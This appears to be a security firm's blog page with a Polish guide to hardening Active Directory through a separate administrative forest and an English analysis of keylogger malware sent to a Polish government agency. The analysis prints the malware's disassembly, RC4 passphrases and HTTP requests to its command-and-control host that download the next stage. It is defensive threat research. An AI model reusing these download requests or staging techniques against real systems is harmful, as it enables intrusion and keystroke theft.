środa, 26 września 2018

Bezpieczeństwo Active Directory - część I


Obecnie największym problemem osób odpowiedzialnych za bezpieczeństwo w dużych organizacjach jest ochrona kont uprzywilejowanych. W środowisku opartym o usługi Active Directory typowy scenariusz ataku po uzyskaniu dostępu do sieci wewnętrznej polega na identyfikacji i kradzieży danych uwierzytelniających kont posiadających najwyższe uprawnienia – czyli administratorów.
Poniższy przykład pokazuje dość liczną grupę administratorów domeny (prawa strona grafu wygenerowanego przez narzędzie BloodHound [1]). Intruz łatwo może zidentyfikować uprzywilejowane konta a następnie znaleźć najszybszą ścieżkę dostępu do tych kont [1,2,3].

Ograniczenie możliwości atakującego (przeprowadzenie ataków takich jak Pass-the-Hash czy Pass-the-Ticket) wymaga wielu działań. Czym większa organizacja, tym oczywiście trudniejsze jest wdrożenie zmian ale też przyzwyczajeń administratorów. Poniżej opiszemy fragmenty koncepcji rekomendowanej przez firmę Microsoft – Enhanced Security Administrative Environment (ESAE) Administrative Forest. 

W dużym uproszeniu podejście to polega na utworzeniu lasu administracyjnego, który będzie miał szereg zabezpieczeń uniemożliwiających (lub w znacznym stopniu utrudniający) skuteczny atak konta administratorów domeny. W kolejnych krokach można zwiększać zakres funkcjonalności realizowanych w lesie produkcyjnym z poziomu lasu administracyjnego.

W poniższym przykładzie skupimy się na ochronie kont w grupie domain admins dla lasu produkcyjnego. Co ciekawe według zaleceń producenta [4] w tej grupie nie powinno być żadnych kont wykorzystywanych w codziennych pracach administracyjnych (w praktyce jest zazwyczaj inaczej):

„As is the case with the Enterprise Admins (EA) group, membership in the Domain Admins (DA) group should be required only in build or disaster recovery scenarios. There should be no day-to-day user accounts in the DA group with the exception of the built-in Administrator account for the domain”

Stosując się do zaleceń powinniśmy usunąć z tej grupy uprzywilejowanej wszystkie konta (powinno pozostać jedno konto awaryjne – konto build-in\Administrator).

W artykule opiszemy kroki niezbędne do utworzenie oddzielnego lasu administracyjnego, czyli jednego z elementów chroniących konta uprzywilejowane. Wykorzystując funkcję Shadow Principle będziemy na określony czas (tzw. Just in Time Administration) dodawali użytkownika (zwykłe konto w domenie administracyjnej) do grupy Domain Admins w domenie produkcyjnej.

Zanim jednak zaczniemy, należy pamiętać, że równie istotne są też inne działania opisane poniżej. Wszystkie one mają jeden nadrzędy cel – ograniczenie lub uniemożliwienie pozyskania danych uwierzytelniających kont uprzywilejowanych. Dla przykładu, jeśli zablokujemy możliwość logowania się kontem uprzywilejowanym na wszystkie stacje robocze i serwery w organizacji z wyjątkiem kontrolerów domen, intruz przejmując kontrolę na serwerem czy stacją roboczą nie będzie mógł pozyskać danych uwierzytelniających.

Inne działania związane z ograniczeniem ataków nakierowanych na kradzież danych uwierzytelniających w Active Directory to:

  1.  Ograniczenie ilości obiektów w grupach uprzywilejowanych. Grupy uprzywilejowane to:
    • Enterprise Admins
    • Domain Admins
    • Schema Admins
    • BUILDIN\Administrators
    • Account Operators
    • Backup Operators
    • Print Operators
    • Server Operators
    • Domain Controllers
    • Read-only Domain Controllers
    • Group Policy Creators Owners
    • Cryptographic Operators
    • Distributed COM Users
    • Inne grupy którym delegowano uprawnienia do zarządzania usługą AD lub zarządzania danymi w usłudze AD.
  2. Utworzenie oddzielnych kont, które są używane wyłącznie do zarządzania kontrolerami domeny.
  3. Ważne jest, aby na te konta (służące do zarządzania kontrolerami domeny) logować się z oddzielnych - dedykowanych komputerów – tzw. PAW (ang. Privileged Access Workstations). Jeśli administrator domeny używa tego samego komputera aby logować się na konto zwykłego użytkownika (konto do poczty czy przeglądania stron www) i konto administratora domeny nasze działania mogą być mało skutecznie. Intruz przejmując stację roboczą może zainstalować keylogger i uzyskać dane do konta administracyjnego (np. podczas nawiązywania przez administratora sesji RDP).
  4. Wprowadzenie restrykcji dotyczących na jakie komputery można się logować za pomocą  kont służących do zarządzania kontrolerami domen (ale też innych kont uprzywilejowanych). Tutaj należy zacząć od podziału lasu produkcyjnego na poziomy zaufania (ang. Tiers). Zalecane jest utworzenie trzech poziomów Tier 0 – bardzo ograniczona grupa obiektów (kont, komputerów, serwerów) służąca do zarządzania AD (po analizie może się okazać że ta grupa nie jest taka mała, gdyż może zawierać na przykład agentów działających na kontach serwisowych jak program AV), Tier 1 – wszelkie serwery produkcyjne oraz Tier 2 – sieć użytkowników (czyli między innymi stacje robocze) z reguły najmniej zaufana.
  5. Implementacja dwuskładnikowego uwierzytelniania. Przy okazji należy pamiętać o regularnym resecie wartości NTLM hash gdy będziemy korzystali z kart inteligentnych.
  6. Utwardzenie (ang. hardening) kontrolerów domeny w lesie produkcyjnym oraz lesie administracyjnym. W zakresie tego punktu są między innymi:
    • Bezpieczeństwo fizyczne (włączając w to między innymi dedykowane szafy na serwery fizyczne czy wirtualne, kontrola dostępu do interfejsów zarządzających, szyfrowanie dysków, bezpieczny start systemu z UEFI)
    • Konfiguracja ustawień bezpieczeństwa - Dobrym przykładem są polityki znajdujące się w Microsoft Security Compliance Toolkit. Dodatkowo należy skonfigurować firewall WFAS i ograniczyć możliwość uruchamiania niektórych plików wykonywalnych.
    • Uaktualnianie środowiska. Najlepiej zainstalować i skonfigurować dedykowany serwer uaktualnień WSUS. Poprawki powinny być instalowane automatycznie w domenie administracyjnej.
  7. Wydzielenie odseparowanej podsieci. Hosty wchodzące w skład lasu administracyjnego powinny być chronione systemem firewall a ruch pomiędzy lasami powinien być monitorowany. Byłoby dobrze gdyby monitorowanie pozwalało na szczegółową analizę protokołów związanych ze środowiskiem Microsoft - takich jak Server Message Block (SMB).


Są to zalecenia, które docelowo należy stosować w obydwu lasach a część z nich dotyczy wszystkich kont uprzywilejowanych.

Założenia wstępne dotyczące konfiguracji lasu administracyjnego:

  • Las produkcyjny ma poziom funkcjonalny domeny i lasu Windows 2012 R2. Jest to obecnie często spotykana konfiguracja.
  • Zakładamy, że będzie jedno dedykowane konto do zarządzania domeną produkcyjną. Konto zostanie utworzenie w lesie administracyjnym. Musi to być standardowe konto bez żadnych dodatkowych uprawnień.
  • Przyjęliśmy że las produkcyjny to ad.prevenity.com. Natomiast las administracyjny to bastion.prevenity.com.
  • Las administracyjny, który będziemy konfigurowany jest oparty o Windows 2016 (tutaj poziom funkcjonalny lasu to Windows2016Forest). Służy on do zarządzania kontami, grupami i komputerami administratorów domeny. Do tego lasu muszą być podłączone stacje robocze PAW.
  • Kontrolery domen z systemem Windows 2012 R2 muszą posiadać poprawkę KB3172614 [5].

Krok 1: Utworzenie lasu administracyjnego

Pominiemy opis instalacji i konfiguracji serwera Windows Server 2016. Poniżej znajduje się lista głównych zadań które należy wykonać w celu zarządzania grupą domain admins. Należy pamiętać, że będzie to odizolowane środowisko i dostęp do niego powinien być zabezpieczony. Ponieważ w tym środowisku będzie bardzo mała ilość komputerów i użytkowników można skonfigurować mechanizmy bezpieczeństwa, które w środowisku produkcyjnym byłyby trudnie do wdrożenia (na przykład całkowite wyłączenie obsługi NTLM).

Istotne jest aby Windows Server 2016  działa w trybie funkcjonalności lasu Windows Server 2016. Musi też tyć włączona funkcja AD Privileged Access Management.
Poniżej komendy uruchamiane, które instalują i konfigurują komponenty nowego lasu i usług katalogowych.


$domainName = 'bastion.prevenity.com'
$pwd = ‘_haslo_'
$securepwd = convertto-securestring $pwd -asplaintext -force
Install-WindowsFeature –Name AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName $domainName -InstallDns -Force -Confirm:$false -SafeModeAdministratorPassword $securepwd

Krok 2: Privileged Access Management

W kolejnym kroku na kontrolerze domeny z Windows 2016 włączamy funkcje Privileged Access Management (PAM). 

Enable-ADOptionalFeature 'Privileged Access Management Feature' -Scope ForestOrConfiguratioSet -Target bastion.prevenity.com


Krok 3: Konfiguracja zaufania

Następnie tworzymy jednokierunkowe zaufanie pomiędzy lasami (ad.prevenity.com a (->) bastion.prevenity.com). Należy pamiętać o poprawnej konfiguracji DNS gdyż serwery muszą rozwiązywać nazwy występujące w obu lasach.

Tworząc jednokierunkowe zaufanie włączamy SIDHistory – funkcję które nie zablokuje identyfikatorów SID dla grup Domain Admins. Umożliwi to zalogowanie się użytkownika z domeny Bastion do serwera w domenie produkcyjnej z wysokimi uprawnieniami.

  • Komendy uruchamiane na kontrolerze domeny w lesie produkcyjnym
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /Add /UserD:administrator@bastion
.prevenity.com /PasswordD:* /UserO:administrator@ad.prevenity.com /PasswordO:*
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /ForestTRANsitive:Yes
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /EnableSIDHistory:Yes
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /EnablePIMTrust:Yes
netdom trust ad.prevenity.com /Domain:bastion.prevenity.com /Quarantine:No

  • Komenda uruchamiana na kontrolerze domeny w lesie administracyjnym
 netdom trust bastion.prevenity.com /domain:ad.prevenity.com /ForestTRANsitive:Yes
 

4. Konfiguracja Kerberos AES encryption

Ponieważ konfigurujemy zaufanie z serwerem Windows 2012 R2 z poziomem funkcjonalności lasu Windows2012R2 włączamy wsparcie szyfrowania AES dla protokołu Kerberos. Na kontrolerze domeny w lesie administracyjnym uruchamiamy Active Directory Users and Computers (dsa.msc). Następnie włączamy Advanced Features. W kontenerze System wybieramy obiekt ad.prevenity.com i we właściwościach zaznaczamy „The other domain supports Kerberos AES Encryption”.



5. Utworzenie Shadow Principal

W kolejnym kroku na kontrolerze domeny w lesie administracyjnym za pomocą funkcji Shadow Prinicipal tworzymy kopię grupy uprzywilejowanej Domain Admins z lasu produkcyjnego. W lesie administracyjnym kontener Shadow Principal będzie miał przedrostek PROD-.

Komenda uruchamiana na kontrolerze w lesie administracyjnym:


$ProdPrincipal = 'Domain Admins'
$ProdDC = 'dc.ad.prevenity.com'
$ShadowSuffix = 'PROD-'
$ProdShadowPrincipal = Get-ADGroup -Identity $ProdPrincipal -Properties ObjectSID -Server $ProdDC
$ShadowPrincipalContainer = 'CN=Shadow Principal Configuration,CN=Services,'+(Get-ADRootDSE).
configurationNamingContext
New-ADObject -Type msDS-ShadowPrincipal -Name "$ShadowSuffix$($ProdShadowPrincipal.SamAccount
Name)" -Path $ShadowPrincipalContainer -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ProdShadowPrincipal.ObjectSID}


W tym momencie za pomocą narzędzia ADSI Edit możemy wyświetlić zawartość kontenera Shadow Principal. Wartości SID z lasu produkcyjnego odpowiada wartości msDS-ShadowPrincipal w lesie administracyjnym.

Był to ostatni krok wymagany do konfiguracji mechanizmu just in time administration. Podczas codziennej pracy administrator chcący uzyskać dostęp do kontrolera domeny w lesie produkcyjnym musi wykonać komendę, która doda do grupy Domain Admins na określony czas konto użytkownika z domeny w lesie administracyjnym.

W lesie administracyjnym zakładamy konto zwykłego użytkownika – jarek.adm2, pamiętając o innych (opisanych powyżej) ustawieniach bezpieczeństwa dla tego konta jak na przykład logowanie wyłącznie z dedykowanej stacji roboczej (PAW).

Za pomocą poniższej komendy dodamy do Prod-Domain-Admins konto jarek.adm2 na okres 10 minut. Wartość TTL określa czas na jaki konto będzie członkiem grupy.


Set-ADObject -Identity "CN=Prod-Domain Admins,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=prevenity,dc=com" -Add @{'member'="<TTL=600,CN=jarek.adm2,OU=PROD-Shadow,DC=bastion,DC=prevenity,DC=com>"}
 
Po wykonaniu tego polecenia możliwe jest zalogowanie się na konto z domeny administracyjnej bastion do kontrolera w lesie produkcyjnym. 



W celu umożliwienia użytkownikom z lasu administracyjnego dostępu do Group Policy Objects wymagana jest zamiana uprawnień do każdego GPO w domenie produkcyjnej (zmodyfikowanie atrybutu DefaultSecurityDecriptor).

Źródła:
[9] Wszystkie komendy znajdują się na https://github.com/Prevenity/AD-Hardening

niedziela, 18 marca 2018

Happy New Year wishes from China

At the end of January 2018 one of government agencies in Poland received an email with new year’s wishes from one of Chinese government agency. The content of the email is definitely suspicious so we decided to perform deeper analysis of this attempt of attack.


First of all we have to understand an email header. The received entries are the most important part of email because received lines contain a list of all hosts through which the message travelled. We can notice that the real source IP address of sender is 39.109.6.203. So probably the misconfiguration of one of Chinese server permitted to spoof an email address of a sender.

Received: from WIN-RME55NNMJCN (unknown [39.109.6.203])
    by mail1.***.gov.cn (c) with ESMTPA id 68AA921190
    for <***.gov.pl>; Wed, 31 Jan 2018 09:54:39 +0800 (HKT)


The next step was to analyse attached rar archive file. It was composed only of one file named Happy 2018.scr. After execution we can see a nice picture with wishes (presented at the beginning of this article).
JPG file is stored in a resource section .rsrc of the scr file. Malware often stores an embedded program or configuration ata in this section. API function names were obfuscated but finally we noticed that to handle resource objects the following API calls were used: FreeResource(), LockResource(), LoadResource(), FindResourceA(), SizeOfResource().


In the same time malware reads SYSTEM\CurrentControlSet\Services\disk\Enum registry key. It is known trick to detect virtual machines.


By using LoadLibraryA() and GetProcAddress() APIs other API functions are resolved: OpenServiceA(), StartServiceA(), OpenSCManagerA(), QueryServiceStatus(), ControlService(), CloseServiceHandle(), CreateServiceA(), RegOpenKeyExA(), RegCloseKey(), RegSetValueExA(), RegQueryValueA(), RegCreateKeyA(), RegEnumValueA().
If malware does not detect virtual machine, new service will be installed. The service name is Avriax with description Multiple defender service with one windows service. The following execution command is added to Windows registers: %SystemRoot%\system32\svchost -k Avriax. A dll file is a second stage malware. It is copied from BIN resource section of scr file. This file is encrypted by using RC4 algorithm with passphrase “ULoveVas”. After installation the service is started immediately.

00402A97  |. FF15 70504000  CALL DWORD PTR DS:[405070]               ;  ADVAPI32.OpenSCManagerA
00402A9D  |. 8BF8           MOV EDI,EAX
00402A9F  |. 85FF           TEST EDI,EDI
00402AA1  |. 74 32          JE SHORT Happy_20.00402AD5
00402AA3  |. 8B4424 08      MOV EAX,DWORD PTR SS:[ESP+8]
00402AA7  |. 56             PUSH ESI
00402AA8  |. 68 10000100    PUSH 10010
00402AAD  |. 50             PUSH EAX
00402AAE  |. 57             PUSH EDI
00402AAF  |. FF15 74504000  CALL DWORD PTR DS:[405074]               ;  ADVAPI32.OpenServiceA
00402AB5  |. 8BF0           MOV ESI,EAX
00402AB7  |. 85F6           TEST ESI,ESI
00402AB9  |. 74 12          JE SHORT Happy_20.00402ACD
00402ABB  |. 6A 00          PUSH 0
00402ABD  |. 6A 00          PUSH 0
00402ABF  |. 56             PUSH ESI
00402AC0  |. FF15 80504000  CALL DWORD PTR DS:[405080]               ;  ADVAPI32.StartServiceA


Malware connects to C&C server and downloads another file - 30_1.exe. Info.hangro.net has the same IP address 39.109.6.203.

GET /session/manager?mode=0&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: info.hangro.net
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename="robots.txt"
Content-Type: application/x-msdownload
Content-Length: 10
Date: Wed, 31 Jan 2018 18:29:18 GMT

30_1.exe
GET /session/manager?mode=30_1.exe&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: info.hangro.net
Cache-Control: no-cache


Downloaded file is also encrypted by using RC4 algorithm. The passphrase is “Higaisakora.0”. After decrypting executable file is executed by using CreateProcessA() API from the following location C:\Windows\TEMP directory. All strings in this file are encoded. The decoding instructions are presented below:


On below example we can see another decoded window service name. The second service will be installed by new malware file.


The functionality of exe file is easily identified by looking at decoded API names.


Executable file contains also new resource – one more dll file. This time malicious dll library is not encrypted. We can use CFF Explorer to extract new library.


The dll file is store in C:\Users\<username>\AppData\Roaming\System\hpptx386.dll and new service named HP Printer Software is created. This is the last stage of infection.
DLL file is a keylogger. All data are stored in Info.dat file and send to C&C host vachel.vicp.cc [IP: 39.109.6.203].There are several methods of implementing keyloggers in Windows. Method used in described example is based on GetAsyncKeyState() and GetKeyState(). Mentioned functions are used to query the status of all keys.


Basic IoC are listed below:
  • (Happy 2018 .scr) SHA1: 511F7BC170C596AD1A26D616359A78851EB7881B
  • (Avriax32.dll) SHA1: 2FB33BF79BCACA2445F66769C5261037C2EF92E2
  • (30_1.exe - encrypted) SHA1: 82BAC0B378285F914C518F39F54DA3E4A7A54588
  • (decrypted) SHA1: F372CE319060F103714D0F8897F846452786BB31
  • (hpptx386.dll) SHA1: 83B995717F82F97D3A65C7E6FBFB59908EEDE811
  • 39.109.6.203
  • info.hangro.net
  • vachel.vicp.cc